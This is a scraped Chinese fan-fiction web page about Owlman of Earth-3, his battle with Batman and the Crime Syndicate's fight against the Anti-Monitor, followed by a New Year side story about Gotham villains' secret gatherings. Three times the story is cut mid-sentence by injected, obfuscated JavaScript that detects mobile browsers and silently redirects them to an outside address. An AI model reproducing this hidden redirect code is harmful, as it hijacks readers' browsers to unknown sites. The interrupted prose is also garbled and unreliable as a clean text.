听说主宇宙的阿尔弗雷德曾经服役于军情六处,他说他擅长打辅助也并非夸大其词。我没看过蝙蝠侠相关作品,但从他的身份来看,出场率不会太低,是个像正联超英那样经过盖章确认的正面人物。以至于我每次下意识用命令局外人的方式将一些边角料工作扔给他帮忙时,总觉得哪哪都有很大的问题。 “您没必要顾忌我的想法。到我这个年纪,见多识广可能是唯一的优势。” 他在我们头一回合作的时候这么说道,往后则一直沉默。我们之间有着很清晰的距离感,我想更多是因为他察觉到我的不适应。 其实他并没有表现得很亲近。 我感到不适是我的问题。 因此在今天傍晚,我一过整点就将他送离了韦恩庄园,决定从合作犯罪的关系退化回去,连合租室友身份都不予保留。阿尔弗雷德没有坚持,他最后看了眼身后的建筑,显得忧心忡忡,还有点惋惜。 行至中途,韦恩庄园在爆炸中成为历史,燃起的火焰和浓烟在小半个城市内都看得见,阿尔弗雷德也不例外。 我将他送到我的另一处安全屋,他自己应该能联系蝙蝠侠。 要我说,他千里迢迢跑到这么个地方只为了见我一面实在毫无必要。我在主宇宙的时候听说那个世界的小托马斯·韦恩刚出生没多久就死了,就算是一直侍奉韦恩家族的管家,也不可能对一个刚出生的孩子抱有什么太深刻的感情。 他路上按照我们相处的习惯缄口不言,哪怕韦恩庄园化为尘埃时也是如此。不过在下车的时候,我听见他说:“您与过去告别的方式令人印象深刻。” 我冲他点了点头,什么都不想说。这就是我们今天晚上唯一的正面交谈了。 庄园的□□不是特意安排在那的。 像我这种身份和地位的人,要在夜晚睡得着觉,总要有破釜沉舟的最终手段,只有比敌人、乃至于敌人的敌人下手更狠,他们才会在背叛之前稍微动脑子想想后果。 只是炸掉老家的选项毕竟不太寻常,哪怕在我们这也是。 很多人有类似的筹备,又没有真正点燃引信、使自己多年心血付之东流的勇气。韦恩庄园不是一栋普通建筑,它代表着我在哥谭坚不可摧的统治地位,我亲手将它炸掉,旁人难免觉得我走到了山穷水尽的地步。 其实我没有。 我冲着叛徒开枪,我对着无辜者开枪,我在哥谭大开杀戒,我炸掉韦恩庄园……这对我来说都是一回事。多年以来我像怪物一样盘踞在这座城市中央,没有人能够战胜我,小丑不行,蝙蝠侠也不行。唯有我自己能举起刀刃,对准哥谭生出脓疮的地方,连带着我的一部分一起砍下去,然后见证她和我一起慢慢痊愈。 这次也是同样的。日复一日,昨天变成今天,如同今天变成昨天一样飞快。和过去的每一次都没有区别。 十一点半,有人告诉我韦恩庄园的入侵者生死不知,被带走了。 “要补枪吗?”他们问,并向我描述了救援队成员的相貌。 我心中缓缓冒出一个问号,觉得这两个违背哥谭宵禁还擅闯私人领地的活力双雄听上去颇有些耳熟。其中一个可能是夜翼,我们在另一个宇宙的韦恩庄园里见过,之前忘记询问主宇宙的管家了,我至今也不知道他为什么要跑出去单干。 至于另一个,不像罗宾,也不像我见过的提摩西·德雷克,蝙蝠侠总不会还养过第四个孩子吧? ……我以前认为我在社会交往方面只能说略有不足,现在对比之下突然就不确定起来了。或许让理查德去到主宇宙是个相当正确的决定。 “不,把他们拦在米勒湾北岸。”我说,“切断老城供电,封锁跨河桥梁,通知现在GCPD里面的人,三小时之内我要看到主事人的尸体,否则每拖延半小时,他们就会失去一个滞留在北岸的同伴。” 午夜时分,我又接到一条情报,提到我很在意的问题——说是今天下午时小丑找到军队防守的漏洞越过哥谭边界,去同超霸见了一面。我听闻自杀小队的组织者是贝恩,但他和小丑都不在闯进韦恩庄园的队伍里面,我以为他们至少会留在哥谭,没想到其中一个居然跑去了大都会。 卡尔的脾气没有我好,我一时不确定小丑是不是会死在氪星人手上。然而他的死讯一直没有传来,这时我反倒希望卡尔下手能干脆一点了。 小丑还活着,对我来说是个障碍。 我思索着要不要去和辛迪加打声招呼,接着就在路上碰见了蝙蝠侠。 这时大约是凌晨两点钟,万籁俱寂,火药的味道从北方沿着我们并肩走过的路飘散而来。阿尔弗雷德没能拖延他太久,意味着他的帮手确实很多。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064607|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在前段时间这是件隐隐令我高兴的事,事实证明,一个人喜欢的东西通常会反过来给他添麻烦,譬如拖延、精神鸦片和蝙蝠侠。 晨昏交界的晦暗中,我有种强烈的、结局将至的预感,于是我对他说:“留给你的时间不多了。就算是我也难以触及地球的每一处角落。你可以带走你想带的人,拯救你认为值得拯救的人。即便如此,你也要浪费时间在与我的没有意义的争斗上吗?” “布鲁斯。” 他答非所问:“你从未在我穿着蝙蝠侠的制服时叫过我的名字。它让你觉得现实和记忆之间存在割裂感——然而现在它们开始融合了,是吗?” 我有片刻的语塞,不想承认从稻草人毒气那天起,我的记忆就被打开了一条缝隙。我顺着这条缝隙向世界的另一端张望,头脑昏沉,五感混沌,时常不知道自己是否仍处在梦境里,直到我在深红海角的悬崖上、在蝙蝠侠眼前开了那一枪。我向下坠落,失重感令我保持清醒。 “你失败了。” 胸腔中的血液向上翻涌直抵大脑,我笑起来,跟他说起互不相关的内容,“哥谭南岸顶多再坚持六七个小时,然后就会有人——无论是谁,可能是我们连名字都没听说过的人——因恐惧举起武器,向身边人或是向自己选择同归于尽。最后这座城市仍旧属于我。” 他没什么表情,也自顾自地说:“我四岁时遇到一场车祸。但是我并没有任何关于这场事故的记忆,我甚至不记得母亲第二次怀孕、而我曾经有过一个兄弟。猫头鹰法庭为了威胁我的父亲,带走了他的孩子,小托马斯·韦恩只在我们的世界停留短短数日。” “你帮助小丑出城,是觉得他可以说动卡尔吗?超霸不是超人,蝙蝠侠,他和你们不一样。” “我对托马斯·韦恩的记忆来自于你,就像你对成年后的布鲁斯·韦恩的印象大多来源于我。” “卡尔并不擅长自我否定,不管是他对旁人的认知,还是对自己的认知。哪怕他开始质疑我的动机,也会将讯问放在与反监视者的决斗之后——他坚信自己能取得胜利,和你我恰好相反。” “我在父母死去的那一晚跪在地上起誓,‘以我的余生与犯罪做斗争,为他们的死报仇,至死方休’。我因恐惧而强大,并仰仗着这条誓言而活——我只能这么走下去,而你我恰好相同。” “……” 布鲁斯说:“但有时……有时我会想,我们都有另一种选择。” 沸腾的血液终于平息,我深吸一口气,在寂静中感受到硝烟散尽的晨风,可是哥谭市并未迎来黎明。 下雨了。 ** 蝙蝠侠察觉到了冷意。 从四面八方传来的,终结的气息。 他不由得收回目光,侧过头注视着乌黑的地平线,好像在那流畅圆弧的下方,有什么不可匹敌之物正席卷而来。紧接着他意识到夜枭在同一时间屏住呼吸,猫头鹰面具下方的笑容扩大些许,跟着扭头极目远眺。 “谢谢你,布鲁斯。我愿意表达感激,为你今晚进行的这场方法独到的尝试。” “但是太晚了。”他轻声说道,“他来了。” 37. 终局 It doesnt 有多少人在这一刹那感受到绝望呢? 天空中对峙的超霸和超人,城市间奔跑的闪电侠和强尼快客,丛林间角力的神奇女侠和超女王,抢夺实验室控制权的火风暴和死亡风暴……所有人都同一时间停下动作。超霸悬停在大都会上方,身后的披风鲜红如血,他望着被黑云笼罩的星球,自言自语道:“没有太阳是个好征兆。” 超人心说对我来讲可不是。他活动了一下手腕,客客气气地对超霸道:“我们可以合作,胜负等会再说。” “不,滚出去,超人。”超霸转过身向地平线飞去,“这是我们的宇宙。” 超人在他身后犹豫了一下,没有选择跟上,而是拿起对讲机在正联内部频道问道:“大家情况都怎么样?” 神奇女侠站起身看着超女王飞远,挑起眉刚想说什么,就听到频道里传来一个陌生的声音: “我在哥谭市设立了紧急传送装置。你们最好听超霸的,现在就离开。” 戴安娜:“夜枭?” “是我。”哥谭,从蝙蝠侠那拿走了通讯装置的犯罪辛迪加成员说道,“放心,你们的同伴还活着。” 他身后,黑暗骑士伏在水光潋滟的楼顶边缘,蝠翼形状的披风有一半落在外面,随着风扬起又落下,宛如一面破碎的湿漉漉的旗帜。 “我猜他大概和你们说过一些关于我的事。”夜枭背对着蝙蝠侠,抬起头看向天空,单手举着对讲机说,“不必在意,正义联盟的各位,这座城市不是他的责任,这片宇宙也不是你们的责任。现在回去主宇宙,否则我恐怕会发生一些你们与我都不情愿看到的事情。” “你觉得辛迪加能战胜他?” “与你们无关。”夜枭没有正面回答。 神奇女侠来到超人身边,对他使了个眼色。超人点点头,冲着话筒说道:“好,我们现在就召集成员动身前往哥谭。” ** 辛迪加。 “教授!!”运气不好直接撞上反监视者的神力戒发出一声尖叫,大声喊死亡风暴的名字,“救救我!拦住他!我要死了我还不想死!” 他的戒指开麦无差别大声辱骂:“闭嘴傻瓜,连一条蚯蚓都不如!你离反监视者根本没那么近!现在拿着你身边随便什么东西或者人挡在我们后头,然后——跑!” “别慌。”死亡风暴的骷髅头看不出什么表情,语调平板,“超霸已经到了,我们不会马上死的。” 神力戒:“等等教授你这是什么意思?!” “我的意思是,有的是比我们弱的存在会死在我们前面。”死亡风暴回头看向刚跑过来的强尼快客,“你和原子女也到了。夜枭那边怎么说?他这两天似乎很忙。” “没什么消息。但托马斯一向靠谱,就算我们打不赢也可以溜到别的地球。”强尼快客微微喘着粗气回答。 原子女坐在他的肩膀上看着超霸和反监视者的战斗现场,脸上逐渐浮现出恐惧的神色:“亲爱的……” “怎么了?别担心,宝贝,先看看再说。” 这是人们第一次在文字资料以外的地方,见到多元宇宙中的最强者之一。反监视者从体型上来说并不算特别高大——至少没有到令人望而生畏的程度。他身高大约在两米五左右,肌肉虬劲,身着盔甲,肤色苍白,凹陷下去的双眼位置一片漆黑,只有瞳孔中央散发出两点金色的光亮。 但即使没有密特隆预警,也不会有人小觑他。超霸试探性地用热视线进行攻击,高温射线照射在反监视者亮银色的铠甲表面,连一点痕迹都没能留下。见到这一幕的神力戒又倒抽一口冷气,哆哆嗦嗦地握紧灯戒,想要试试巨力能否破开敌人的防御。 战场中央,超女王低声对超霸说道:“看来密特隆讲理失败了。我想象过的最好的结果是,我们根本不用去面对反监视者。” 超霸手里捏着氪石,冷漠地看着反监视者单手捏碎了灯戒绿光形成的巨石,口吻生硬道:“我没想过。” “是吗?真让我意外。”超女王提着剑躲开反监视者的拳头,她的屈服套索不在身上,因为需要用它来控制卢瑟,“他好像并不急着杀人,而是要在我们这里寻找什么东西,我们现在撤退还来得及。” 超霸讽刺道:“问题在于,我们真的有退路?” “什么?” “我刚才与小丑见了一面,他同我说了件挺有意思的事,超女王。他说夜枭欺骗了我们,说托马斯根本不打算让任何人活着离开这个世界。” “我以为我们达成共识了,卡尔,这是小丑和卢瑟的谎言。” 骤雨倾盆。风雨声、普通人的叫嚷声、辛迪加的对话声、武器之间的碰撞声混杂成一团,即便如此,战场上的辛迪加成员们也能听见反监视者偶尔发出的、嘲弄般的低沉冷笑。 “我知道你仍是将一部分希望寄托在亚历山大·卢瑟身上,露易丝。” 超霸表情阴沉,且罕见地看上去有些沮丧,像是遇到了什么想不通又不得不去理解和接受的现实,“你和夜枭都有自己的打算,所以他找上你的时候你们一拍即合。我可以不管你们瞒着我做了些什么勾当,但是现在,你要是有什么底牌最好趁早用出来——我死了,你们谁也别想活。” 超女王没有马上回答。她甩了甩头,用嘴叼着武器,抬起双手将长发束成高马尾,然后才道:“我倒确实有点想法,我们放弃这座城市,让托马斯扔个小型核弹过来试试。” 他们所在的位置是中心城。强尼快客闻言看过来:“嘿!这是我和原子女的地盘,那我的人怎么办?” “我们之后会划一片新的地方给你,从所有人的领地里分。” 强尼快客被说服了:“行。” 死亡风暴升到高空,居高临下道:“这里的居民呢?” “来不及疏散了。”超女王说,“有能力的家伙自己能跑。” “说得对,我们管那些只能留下等死的废物干嘛?”原子女和强尼快客率先向城市外冲去,死亡风暴与神力戒紧随其后。超霸和超女王对视一眼,暂时停止争论,前者冷静片刻,还是主动说道:“我联系夜枭。” ** 哥谭市,夜枭放下正联通讯器,将注意力集中到当前战况上。 他收到超霸的命令,皱起眉并未拒绝,直接从腰带夹层里拿出控制器,点开已经在辛迪加管辖范围内的超级武器——它的发射权为所有成员共有,眼下其他人都按完了确认键,只是他们没时间调整发射参数——将离得最近的发射系统对准中心城,同时问道:“你们在什么地方?我这边事情解决了,很快就能赶过去。” 超女王回答他:“先看看核弹有没有用。正义联盟的超级英雄呢?你说过你会想办法把他们困在这里,免得我们不得已去到主宇宙,还要同自己的同位体交战。” “放心。”夜枭说。 他让正联回到主宇宙,对辛迪加又是另一种说法。 毕竟从行事效率的角度上说,如果超霸他们无法战胜敌人且不得不选择逃跑,当然是把正联和反监视者留在地球-3自生自灭,而辛迪加跑到主宇宙鸠占鹊巢支配地球来得轻松。 因此主要做决策的三个人明面上都赞成要提前制住超级英雄。 这也是为什么地球-3的超人类们完全不考虑同主宇宙进行合作。恶人有恶人的行事方式,辛迪加不信任正联,损人利己永远优于合作共赢。 “他们在过来哥谭的路上,我现在——” 夜枭的句话没能说完。身后袭来一阵劲风,他条件反射闪避,然而蝙蝠侠瞄准的是他手上的联络器。小小的电子装置被黑暗骑士一脚踹到空中,再落地时摔得粉碎。 ** “夜枭?托马斯?” 超女王叫了几声,对身边人道: “没动静,可能出事了。不过不管怎么说,核弹发射完毕,是触地起爆,托马斯一点都没想着留手。” 他们站在近百公里之外,看着原本高楼林立的城市瞬间融化在白光里,云销雨霁,天光乍破,冲击波还在持续向外扩散。 “……反监视者他死了吗?” ** “你明知道这没有用。”蝙蝠侠说。他面颊上制服上全都是血,咬牙将夜枭按在地上,双手扼向对方喉咙,几乎完全没有收敛力气,“核弹能毁灭一座城市,也能毁灭人类,但是杀不死反监视者,你明知道——” “我知道什么?” 夜枭拿一只手的手肘抵在蝙蝠侠胸口,另一只手按住他的手腕,双臂都因为过于用力而颤抖,脸上仍带着浮于表面的笑, “你看,我只是想向我的同伴们证明,有些努力毫无用处。接下来露易丝不得不去找亚历山大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064608|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ·卢瑟,他们具体达成了什么协议……我不知道……但假设卢瑟也没有起到用处,他们就只能求助于我……咳咳……” 他终于挣脱开蝙蝠侠的手臂,从对方的桎梏中翻滚出来。夜枭将一枚榴弹抛到蝙蝠侠脚下,哪怕他本人也在爆炸范围内,然后趁着布鲁斯将榴弹踢出平台时拾起掉落在旁边的冷兵器。 “铛啷”一声,护腕架住匕首。 “正义联盟不应该来得这么慢。他们去哪了?” 蝙蝠侠无视刀刃,一拳砸向夜枭的脸:“你是个赌徒,无论是炸掉韦恩庄园,还是制造量子本态炸弹。你只需要动一动手就能毁灭世界,辛迪加能在你逃往其他宇宙前将你杀死,于是你们维持着岌岌可危的平衡……你的倚仗在于不管是哥谭反抗军还是犯罪辛迪加,都不相信你会与他们同归于尽。” “——然而事实是,你不在乎你的罪犯父母给你留下的那栋房子,也不在乎你自己的性命。” 地球-3小丑在被超霸的热射线穿透脑门之前,就只说了一句话。 他说:“猫头鹰放弃了他的巢。” 哥谭市顶楼仅仅有拳脚相接的闷响,血液顺着长靴流淌下来再溶解于雨中,交战中的两个人却都跟没有知觉一样,谁都不曾因痛苦发声。 破碎的内脏呛进气管,夜枭控制不住捂着口鼻弯下腰喘了两口,又直起身笑道:“继续说下去,布鲁斯。” “所以只要超霸意识到这一点,意识到你并不畏惧死亡,他就会明白你们之间的平衡是他们一厢情愿的平衡,实际上主动权始终在你手中。”蝙蝠侠如他所愿地接着说,“接下来,哪怕小丑说你要毁灭世界只是种微不足道的可能性,他也必须找到量子本态炸弹,然后想办法摧毁它……” 夜枭若有所悟。 他表情沉下来,收回武器说道:“卡尔帮助了你们,现在正联要将它传送走。可是你真的要这么做?你看到了,布鲁斯,反监视者不可战胜。量子本态炸弹能被解决掉,是因为它是件死物,而反监视者不行。” “我只打算牺牲我们的世界,你是在拿所有多元宇宙冒险。放任反监视者离开地球-3,他的下个目标就会是主宇宙。” 蝙蝠侠抹了一把鼻子淌出来的血,冷冷道:“那就让他来。” “不,不,我不希望这样……你比我想象的要顽固,布鲁斯。你之前不是这么说的,你说我们有很多相似的地方。” 他血缘上的兄弟的喉咙因为他而受了点伤,讲话时不得不放慢语速,声音沙哑地试图耐下心来讲道理: “我们还有第二种选择,你没必要拿一个正常的宇宙来冒险。” “……” 蝙蝠侠有瞬间的走神,甚至觉得刚才那段话里带着点恳求的意味。 然而在这种时刻分心近乎是致命的——他眼睁睁看着夜枭飞快拿出另一台小型电子设备,当着他的面捏碎了。 “我很抱歉。” 伫立在原地的猫头鹰从头到脚都是雨水、灰尘和血迹。他狼狈不堪,语气仍然彬彬有礼,“不过你真的认为我在量子本态炸弹周围会不做任何布置吗?我总不能把它当成你的罗宾或者我的利爪一样随便扔在那,就指望它可以在不自爆的前提下解决对手。” 蝙蝠侠按下正义联盟的通话键:“克拉克?” 没有回应。 他心脏沉到谷底,尽量按捺住怒火说道:“你或许以为我说那番话是为了让你放弃你的计划,但我不是。如果我们真的如此相似,那么你至少有一部分是个好人。” “好人?”夜枭品味着这个词,忍不住再次笑了起来,“不,不是。从不。毕竟我也只是个普通人。” “回去吧,布鲁斯,事情已然成为定局。坦白地说,我希望你能活着,所以无论你愿不愿意,我都会将你传送回主宇宙。如果你能主动一点,我们还可以有个稍微体面些的送别仪式。” 黑暗骑士的披风垂在它的主人脚下。暴雨中,蝙蝠侠如同一具凝固的雕像: “……我们确实有一点不同,你我都自地狱而来,然而当救赎的机会出现时,你错过了。” “没错,是我松开了手。” 夜枭在只有他们两个能听见的倒计时声里轻声说。 “Butitdoesn\''tmatter.” 再见,布鲁斯。 38. 新年番外 那是很多年前的一天。 最开始,夜枭并未察觉到这天与以往有什么不同。 哥谭西南区的某个治安官贪污了一大笔钱,他没有把这些钱据为己有,反倒是将它们转移到其他地方。此外,谜语人近期格外活跃,托马斯怀疑他从特殊渠道搞来了资金支援,并准备引发一起混乱。 为此哥谭市的实际拥有者整装待发,像饥肠辘辘的猎手般搜寻痕迹。对手留下的线索诡谲繁琐又布满重重危机,直到夜枭在某个废旧居民楼中击倒两个流浪汉,并从他们手中拿到一条谜语: “我可以是太阳(sun)。” “我可以是沙子(sand)。” “我也可以是鸟(bird)。” “我是什么?” “PS:这是最简单的谜语,别再让我降低难度了,除非你们换个出题人。” 答案是时钟(clock),因为日晷(sundial)、沙漏(hourglass)和布谷鸟自鸣钟(cuckooclock)都是计时工具。相较之前的每一步而言,眼前的谜题过于简单,以至于夜枭在哥谭钟塔外面徘徊许久,才小心翼翼踏上阶梯走了进去。 他没有使用自己的本来面目,而为以防万一扮作了被他击倒在地的其中一个毛发浓密的流浪汉。巧合的是这位流浪汉也叫托马斯,不过人们更多叫他汤姆或者老汤米。 钟塔内部有螺旋状阶梯,以供维修工和清洁工调整时间精确度以及进行打扫工作。金属台阶上落满灰尘,有几个不同脚印显示出近期才有人前来拜访过,走廊墙壁上用荧光笔画满了图案,有翠绿色的问号、红色的口红爱心、黄色的尖顶帽和灰黑色的雨伞等等。 角落里摆着一颗挂满铃铛与彩灯的圣诞树——平安夜刚过去没多久,也算不上平安。托马斯有关于那一日的记忆铺满了血色。 杂物堆里放着把木头凳子,凳子上摆着台烧焦的烤箱,内壁沾满沥青状不明物体。与子弹壳融为一体的托盘和漏了洞的手套扔在一旁,周围是成堆的啤酒瓶子和快餐包装盒。 托马斯确定这大概是他敌人们的又一处据点。 他屏气凝神,缓慢地向上攀爬,转过弯后墙上多了几张他成为夜枭早期时,通过贿赂哥谭市政府颁布的通缉令,上面印着大家的老熟人。 眼下纸张边缘已经泛黄了,被用黑色马克笔写了一行粗体字: “FUCKOWLMAN” 下方是乱七八糟的涂鸦和简笔画,托马斯注意到其中一幅画的是尖耳朵圆眼睛带着披风的火柴人倒在血泊里,胸膛位置插满各种利器。 不过这种行为与其说是蓄意报复,倒不如说是无能狂怒,比起夜枭平日里面对的危险堪称富有童趣。 因此他只是挑了下眉毛便移开视线,毫不在意地继续往上走。第三层摆着一台铁书架,里面塞满了旧报纸和档案,大部分都和夜枭有关。媒体大肆报道辛迪加成立的日期被用红圈圈了起来,旁边留言簿上是许多个人在不同时期留下的对话。 托马斯进行了一番粗略的阅读: “夜枭今天死了吗?” “没有。” “没有。” “我得说与他的父母相比,他毫无早逝征兆。” “完蛋,辛迪加都成立了,我们还会有干掉托马斯·韦恩的那天吗?” “↑我们就是为此才集合的,再说了,至少我们城市有人入选。” “你们在讨论什么呢蠢货?哥谭当然会有人入选!又及,上周是谁告诉夜枭我把账本放在麦考利那的?” “反正不是我,企鹅。但你进监狱了,应该看不到我的回话。” “我好悲观,年复一年。时钟停摆,不再向前走动。冰凉的钟面上是杂乱的零件。皱巴巴的地毯,像白色的裹尸布。我们聆听沉默,如刺探敌情。什么都没有改变……什么都没有离开!” “因为挂钟坏了,然后前天我叫了保洁工过来洗地毯,日历人。后面再来的不要念诗,纯属浪费纸。顺便是我告诉夜枭的,企鹅,现在来猜猜我是谁?” “他收养了一个孩子。” “你们谁见到小丑了?我这一周都没看见他。是不是夜枭终于忍不住把他杀了?” “那孩子是格雷森家的崽子,有希望继承他祖上的肮脏血统,夜枭有八成是看中了他的犯罪天赋。” “没必要说得这么难听。我今天碰见理查德·格雷森了,感觉他是个不错的年轻人。小丑没死,他大腿骨折,前天才拆绷带。你们谁看见我上次宵禁后扔在阁楼里的扑克牌了?该死,好不容易人齐还没得玩。让我知道小偷是谁,我打断他的腿。” “↑拿走扑克的人是小丑,上次聚会不小心让他撞见了,倒霉。” “……” “接下来一周小丑又没出现,诸位有什么头绪吗?” 托马斯向后翻了几页。 留言没有写年月份,但是显然越往后时间线距离现在越来越近。 “23号打牌。新地址在A区3号,花钱雇了一辆冰淇淋车,能通知到谁算谁。” “30号聚会暂停一周。夜枭最近心情好像不太好,我救下维克多的时候差点以为他活不下来了,说说你们知道的?” “是辛迪加,和哥谭没什么关系。” “好吧,干他妈的辛迪加。” “15号不打牌,哈维冒着生命危险给我们偷渡了一副桌游。干他妈的辛迪加。” “今天利爪跟着夜枭一起行动的时候顺手救了我孩子一命,我有时候觉得要不是……我和他的关系说不定能不错。干他妈的辛迪加。” “我们当中有孩子的人可不多。你是风筝人、死亡射手还是运动健将?不管怎么说,就算他不是夜枭也是个韦恩,如果你和他都没走上这条路,你们可能一辈子都见不了面,更不用说称兄道弟。” “干他妈的辛迪加。上次忘说了,对不起。” “我不是这个意思,我就是觉得夜枭其实(涂抹痕迹)算了,当我没说。” “7号,打牌。带副新扑克,地址等人通知。夜枭这两天没出门。说起来,他父母和弟弟的忌日快到了。” “14号,因为众所周知的理由,聚会暂停。” 下面接着歪歪扭扭的字体: “原来如此,你们上周合起伙来吸引了猫头鹰的注意,我说他怎么突然就不愿意和我玩了!我被迫听了整整一周车轮碾压过血肉时发出的噼啪的破裂声,极其扰民。我的邻居投诉了,虽然我本人觉得还挺有观赏性的,他倒是也赞成这一点。 缺点是托马斯总是能赢——毕竟打鼾的人永远不会被自己的鼾声吵醒。多有趣啊!你们所有人都是他自己选择留下来的噩梦,是被他装在名为哥谭的盒子里的把戏,是他对某个问题谜底的得不到答复的哀求,所以想想看,你们的挣扎能有什么结果呢?倒不如让他把时间空出来再分一点给我。顺便,下次打牌的时候也带我一个行不行,很真诚地求求。” “草,草!小丑怎么找到我们这来的?你们太不小心了!早晚有一天猫头鹰会看到这本册子的,说不定还能读到我这条骂娘话!以防万一,去死,夜枭,别往后看了!” 托马斯无动于衷地翻过一页。 “新年,打牌,还有一盒跳棋,能开两桌,没有小丑。地点更新了,继续等通知。” “最新消息,全城戒严,聚会取消,显然猫头鹰不过人类节日——最好别让我知道哪个狗娘养的惹得他大过年心情不好,我让这傻逼知道我心情不好是什么样。” “说实在的,我有点理解他为什么情绪不佳。我指猫头鹰。韦恩家毕竟只剩下他一个人。” “↑和这根本没关系。艾薇养的芦苇草看见夜枭的副手被挂在桥上吊死了,可能是□□觉得今年分成不够。干他妈的□□。” “夜枭今天晚上好像喝多了,下手有点重,你们说呢?我也想当大老板,假期结束还能酗酒。” “我不承认年假有这么短!这世上有哪个国家仍在过节吗?中国?他们在过农历春节!对了,女士先生们,我最近学会了打麻将,听说亚洲很多人玩,我们能搞到一套麻将吗?” “24号,打麻将,会的来,要至少四个人。凑不齐的话就打牌。” …… “又要过年了,狗屎。我记得每年过年准没好事。去年圣诞节□□暴动、猫头鹰的副手被吊死了,前年有人在仓库里烤肉炸了化工厂,大前年大都会的尸体顺水飘下来堵了哥谭的下水口,四年前的今天小丑发现了我们的聚会……有人打赌今年圣诞能否平稳度过吗?” “12月31日,打牌,小丑也在,地点我分别告诉了几个流浪汉,你们最好能看懂我留下的谜语。□□没动静,辛迪加没动静,夜枭刚从外头回来没几天,让我用别的谜题引到别的地方去了,运气好就不会有什么大事。” 据说被引到别的地方去的托马斯:…… 他怀疑谜语人的安排也许出了点差错,比如本来该为其他通缉犯们提供聚会地址的流浪汉,一不小心流浪到了夜枭的必经之路上。 只能说幸运之人的幸运千篇一律,倒霉之人则各有各的倒霉。 托马斯检查自己脸上和身上的伪装,听到钟塔顶层传来欢呼声与香槟起盖声,确定这不是又一场为了迷惑他而精心设计的陷阱。 他默不作声地走了上去。 ** “托……托马斯!”当谜语人醉醺醺地叫出这个名字时,所有人都为之一静。他们打量着从旋梯转角处冒出来的男人,目光里含着惊愕、迷惑、慌乱等情绪。 “欢迎你来。”谜语人八成是故意想吓他们一跳,他极有耐心地等着托马斯在平台上站稳,这才说道,“谢谢你今天晚上为我们传递消息,这是报酬。” “你怎么能告诉他具体地址,爱德华?!”有人质问道。 “有什么关系,查克?这是我们最后一次在这里聚会,而且还是新年,我总得安排个人给连最简单的谜语都猜不出来的笨比带路!” 谜语人半趴在桌子上把一沓皱巴巴的纸币推过来,吞吐着酒气道,“我们认识很多年,他不可能去通知夜枭,除非早就这么干了。你身后没跟着猫头鹰吧,托马斯?” 托马斯摇摇头,将纸币接过来揣进怀里。 有谜语人担保,警报解除。月光穿过钟楼的表盘给旧家具镀上砂糖般的银辉,企鹅人握住雨伞伞柄按了两下,伞尖冒出一团金红色的火焰,将墙角才被吹熄的蜡烛点燃了。 小小的阁楼中又恢复了热闹,托马斯环顾四周,发现如果这时有人往这儿发射一枚导弹,就能将哥谭有名有姓的人物一网打尽。 谜语人没有夸大其词,他真的成功召集来很多人——猫女和毒藤女举着酒杯靠墙窃窃私语,时不时发出低笑;小丑独自一人翘着二郎腿坐在角落里,拿着哈莉人偶摆弄;风筝人、萤火虫和猪面教授想要开一桌桥牌,到处问有没有人愿意加入他们;腹语者与杀手鳄在下跳棋,前者坚称棋桌上有三个人…… 谜语人爱德华·尼格玛在下着雪的冬日只穿了一件单薄的浅绿色衬衫。他带着圆顶礼帽,敞着大半个胸膛,手握高脚杯同贝恩拼酒。不知道从哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064609|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搞来的麻将桌上摆着一台老式唱片机,断续嘶哑的圣诞乐声宛若蹦跳着的山雀环绕月光舞蹈。 托马斯躲在阴影中,看着他往日危险的敌人们像普通人那样欢笑和起舞。他仿佛一道幽魂,只在火花掠过他衣角时,才能短暂而幻梦般地在现实中投下佝偻着的疲惫的影子。 月上中天,几乎所有人都喝醉了——除了夜枭,除了托马斯——他们大声讲着下九流的玩笑话,东倒西歪,几乎不省人事。托马斯想要离开了,他意识到这里并不需要他出现,但谜语人忽地将一只脚抬起来、重重踩在椅子上,口齿不清地大声嚷道:“托马斯——托马斯·韦恩!” 托马斯心脏重重一跳,接着就听见谜语人道:“在这么个新旧交替的日子里没见到他,我总觉得少了点东西。” “……” 有人嘀咕道:“确实如此,我刚才没敢说,但是确实!他最近在忙什么?” “我猜辛迪加,或者利爪。” “拜托,往年每次过节都出事,我今年想求个好兆头,就从新年第一天不杀人开始。你们能保证老老实实地呆着不去惹事并至少坚持到明天吗?” “嘿。”小丑跳了起来,“我有个绝妙的主意!听着,大前年是辛迪加,前年是意外事故,去年是□□,今年怎么也要轮到我们了。” 刚才说话人绝望道:“完了。” 托马斯打起精神,看到小丑兴奋地窜到谜语人对面说道:“你的‘斯芬克斯’呢?我们为猫头鹰准备一个‘爆炸性’的新年礼物,以庆贺我们相安无事地度过这么多年。” “爆炸性?” “相安无事?你管我们每天打来打去刀口舔血叫相安无事?” 